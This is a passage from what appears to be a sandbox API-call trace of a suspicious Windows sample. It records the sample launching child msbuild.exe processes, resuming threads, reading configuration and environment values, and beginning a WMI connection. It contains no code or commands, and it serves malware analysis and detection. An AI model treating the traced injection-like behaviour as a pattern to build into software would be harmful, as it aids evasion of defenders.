[147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0116.755] ResumeThread (hThread=0x20c) returned 0x1 [0116.756] CoGetContextToken (in: pToken=0x31f9c4 | out: pToken=0x31f9c4) returned 0x0 [0116.757] CObjectContext::QueryInterface () returned 0x0 [0116.757] CObjectContext::GetCurrentThreadType () returned 0x0 [0116.757] Release () returned 0x0 [0116.763] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x71c2e8*=0x98, lpdwindex=0x31f830 | out: lpdwindex=0x31f830) returned 0x0 Thread: id = 129 os_tid = 0x6dc Thread: id = 130 os_tid = 0x6e4 [0112.658] CoGetContextToken (in: pToken=0x47cf988 | out: pToken=0x47cf988) returned 0x800401f0 [0112.664] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0115.904] FindAtomW (lpString="GDI+Atom_1256_1") returned 0xc000 [0115.904] GetLastError () returned 0x0 [0115.904] GdipDisposeImage (image=0x4932f08) returned 0x0 [0115.906] GetLastError () returned 0x0 [0116.814] DeleteAtom (nAtom=0xc000) returned 0x0 [0116.814] GetLastError () returned 0x0 [0116.814] FindAtomW (lpString="GDI+Atom_1256_1") returned 0x0 [0116.814] GetLastError () returned 0x2 [0116.815] FindAtomW (lpString="GDI+Atom_1256_1") returned 0x0 [0116.815] GetLastError () returned 0x2 [0116.816] CloseHandle (hObject=0x1ac) returned 1 [0116.816] GetLastError () returned 0x2 [0116.816] UnmapViewOfFile (lpBaseAddress=0x370000) returned 1 Thread: id = 131 os_tid = 0x6f8 Thread: id = 132 os_tid = 0x6fc Thread: id = 135 os_tid = 0x720 Thread: id = 136 os_tid = 0x724 Thread: id = 139 os_tid = 0x730 Thread: id = 140 os_tid = 0x734 Process: id = "8" image_name = "msbuild.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe" page_root = "0x75bb1000" os_pid = "0x708" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2ff" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 133 os_tid = 0x70c Process: id = "9" image_name = "msbuild.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe" page_root = "0x75de0000" os_pid = "0x718" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2ff" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 134 os_tid = 0x71c [0117.137] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0117.239] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x1de9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0117.240] GetLastError () returned 0x2 [0117.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x1de94c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0117.244] GetLastError () returned 0x2 [0117.246] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1de914, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0117.246] GetLastError () returned 0x2 [0117.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1de9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0117.251] GetLastError () returned 0x2 [0117.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1de94c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0117.251] GetLastError () returned 0x2 [0117.256] GetVersionExW (in: lpVersionInformation=0x883180*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x883180*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0117.256] GetLastError () returned 0x2 [0117.257] GetVersionExW (in: lpVersionInformation=0x883180*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x883180*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0117.257] GetLastError () returned 0x2 [0117.719] lstrlenW (lpString="䅁") returned 1 [0117.721] GetVersionExW (in: lpVersionInformation=0x887780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x887780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0117.722] GetLastError () returned 0x2 [0119.072] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x887768, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0119.072] GetLastError () returned 0x0 [0119.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1de244, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0119.429] GetLastError () returned 0x2 [0119.431] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1de28c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0119.431] GetLastError () returned 0x2 [0119.431] SetErrorMode (uMode=0x1) returned 0x0 [0119.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1de70c | out: lpFileInformation=0x1de70c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0119.432] GetLastError () returned 0x2 [0119.432] SetErrorMode (uMode=0x0) returned 0x1 [0119.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1de268, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0119.485] GetLastError () returned 0x2 [0119.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1de1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0119.485] GetLastError () returned 0x2 [0120.343] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1de210 | out: pfEnabled=0x1de210) returned 0x0 [0120.345] GetVersionExW (in: lpVersionInformation=0x887780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x887780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0120.345] GetLastError () returned 0x0 [0120.461] lstrlenW (lpString="䅁") returned 1 [0120.463] CreateBindCtx (in: reserved=0x0, ppbc=0x1de754 | out: ppbc=0x1de754*=0x88d410) returned 0x0 [0120.463] IUnknown:QueryInterface (in: This=0x88d410, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddffc | out: ppvObject=0x1ddffc*=0x88d410) returned 0x0 [0120.464] IUnknown:QueryInterface (in: This=0x88d410, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ddfb8 | out: ppvObject=0x1ddfb8*=0x0) returned 0x80004002 [0120.465] IUnknown:QueryInterface (in: This=0x88d410, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1ddeac | out: ppvObject=0x1ddeac*=0x0) returned 0x80004002 [0120.465] IUnknown:AddRef (This=0x88d410) returned 0x3 [0120.465] CoGetContextToken (in: pToken=0x1dde44 | out: pToken=0x1dde44) returned 0x0 [0120.465] CoGetContextToken (in: pToken=0x1dde08 | out: pToken=0x1dde08) returned 0x0 [0120.465] CObjectContext::QueryInterface () returned 0x0 [0120.641] CObjectContext::GetCurrentApartmentType () returned 0x0 [0120.641] Release () returned 0x0 [0120.641] CoGetObjectContext (in: riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x880554 | out: ppv=0x880554*=0x8793d0) returned 0x0 [0121.076] IUnknown:QueryInterface (in: This=0x88d410, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde2c | out: ppvObject=0x1dde2c*=0x0) returned 0x80004002 [0121.077] CoGetContextToken (in: pToken=0x1dde3c | out: pToken=0x1dde3c) returned 0x0 [0121.077] IUnknown:AddRef (This=0x88d410) returned 0x4 [0121.077] IUnknown:QueryInterface (in: This=0x88d410, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddeb0 | out: ppvObject=0x1ddeb0*=0x0) returned 0x80004002 [0121.077] IUnknown:Release (This=0x88d410) returned 0x3 [0121.077] IUnknown:Release (This=0x88d410) returned 0x2 [0121.077] CoGetContextToken (in: pToken=0x1de2b0 | out: pToken=0x1de2b0) returned 0x0 [0121.077] CoGetContextToken (in: pToken=0x1de270 | out: pToken=0x1de270) returned 0x0 [0121.077] IUnknown:AddRef (This=0x88d410) returned 0x3 [0121.077] IUnknown:QueryInterface (in: This=0x88d410, riid=0x1de2ec*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de2e8 | out: ppvObject=0x1de2e8*=0x88d410) returned 0x0 [0121.077] IUnknown:Release (This=0x88d410) returned 0x3 [0121.078] IUnknown:Release (This=0x88d410) returned 0x2 [0121.078] IUnknown:Release (This=0x88d410) returned 0x1 [0121.079] CoGetContextToken (in: pToken=0x1de314 | out: pToken=0x1de314) returned 0x0 [0121.079] CoGetContextToken (in: pToken=0x1de2d4 | out: pToken=0x1de2d4) returned 0x0 [0121.079] IUnknown:AddRef (This=0x88d410) returned 0x2 [0121.079] IUnknown:QueryInterface (in: This=0x88d410, riid=0x1de350*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de34c | out: ppvObject=0x1de34c*=0x88d410) returned 0x0 [0121.079] IUnknown:Release (This=0x88d410) returned 0x2 [0121.079] IUnknown:AddRef (This=0x88d410) returned 0x3 [0121.080] MkParseDisplayName (in: pbc=0x88d410, szUserName="WinMgmts:", pchEaten=0x1de7e0, ppmk=0x1de724 | out: pchEaten=0x1de7e0, ppmk=0x1de724*=0x8b2cf0) returned 0x0 [0121.873] malloc (_Size=0x80) returned 0x2a2de0 [0121.878] DllGetClassObject (in: rclsid=0x8aec84*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x1de360*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1dda18 | out: ppv=0x1dda18*=0x0) returned 0x80004002 [0121.878] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060810 [0121.878] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0121.878] DllGetClassObject (in: rclsid=0x8aec84*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x757bee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1de518 | out: ppv=0x1de518*=0x5060810) returned 0x0 [0121.878] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060810 [0121.879] WinMGMTS:IClassFactory:CreateInstance (in: This=0x5060810, pUnkOuter=0x0, riid=0x757bf084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de4c4 | out: ppvObject=0x1de4c4*=0x5060850) returned 0x0 [0121.879] GetVersionExW (in: lpVersionInformation=0x1de310*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x1de374, szCSDVersion="塩疔\x08쀕") | out: lpVersionInformation=0x1de310*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0121.879] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x1de304 | out: phkResult=0x1de304*=0x238) returned 0x0 [0121.879] RegQueryValueExW (in: hKey=0x238, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x1de30c, lpcbData=0x1de308*=0x4 | out: lpType=0x0, lpData=0x1de30c*=0x3, lpcbData=0x1de308*=0x4) returned 0x0 [0121.879] RegCloseKey (hKey=0x238) returned 0x0 [0121.879] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060828 [0121.879] GetSystemDirectoryW (in: lpBuffer=0x5060828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.879] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x75db0000 [0121.880] GetProcAddress (hModule=0x75db0000, lpProcName="DuplicateTokenEx") returned 0x75dbca24 [0121.880] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0121.880] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060828 [0121.881] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060850 [0121.881] WinMGMTS:IUnknown:Release (This=0x5060810) returned 0x0 [0121.881] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0121.881] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x5060850, pbc=0x88d410, pszDisplayName="WinMgmts:", pchEaten=0x1de6dc, ppmkOut=0x1de6e0 | out: pchEaten=0x1de6dc*=0x9, ppmkOut=0x1de6e0*=0x8b2cf0) returned 0x0 [0121.881] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0121.896] IBindCtx:GetObjectParam (in: This=0x88d410, pszKey="WmiObject", ppunk=0x1de5e4 | out: ppunk=0x1de5e4*=0x0) returned 0x80004005 [0121.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060860 [0121.896] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0121.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060880 [0121.896] CoCreateInstance (in: rclsid=0x74fc42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x74fc42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5060898 | out: ppv=0x5060898*=0x50608e8) returned 0x0 [0123.566] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50608f8 [0123.566] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060960 [0123.566] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50609c0 [0123.566] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0123.566] GetCurrentThreadId () returned 0x71c [0123.566] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0123.566] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0123.566] GetCurrentThreadId () returned 0x71c [0123.566] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x1de4cc | out: phkResult=0x1de4cc*=0x240) returned 0x0 [0123.566] RegQueryValueExW (in: hKey=0x240, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1de4d4*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x1de4d4*=0x16) returned 0x0 [0123.566] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50609e0 [0123.566] RegQueryValueExW (in: hKey=0x240, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x50609e0, lpcbData=0x1de4d4*=0x16 | out: lpType=0x0, lpData=0x50609e0*=0x72, lpcbData=0x1de4d4*=0x16) returned 0x0 [0123.567] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060a00 [0123.567] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0123.567] RegCloseKey (hKey=0x240) returned 0x0 [0123.567] CoCreateInstance (in: rclsid=0x74fc53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x74fc50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x1de500 | out: ppv=0x1de500*=0x5060a20) returned 0x0 [0124.274] SysStringLen (param_1=".") returned 0x1 [0124.274] WbemDefPath:IWbemPath:SetServer (This=0x5060a20, Name=".") returned 0x0 [0124.274] CoCreateInstance (in: rclsid=0x74fc53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x74fc50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x1de4b8 | out: ppv=0x1de4b8*=0x5060ab8) returned 0x0 [0124.275] CoCreateInstance (in: rclsid=0x74fc53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x74fc50dc*(Data1=0x3bc15af2, Data2=0x736c, 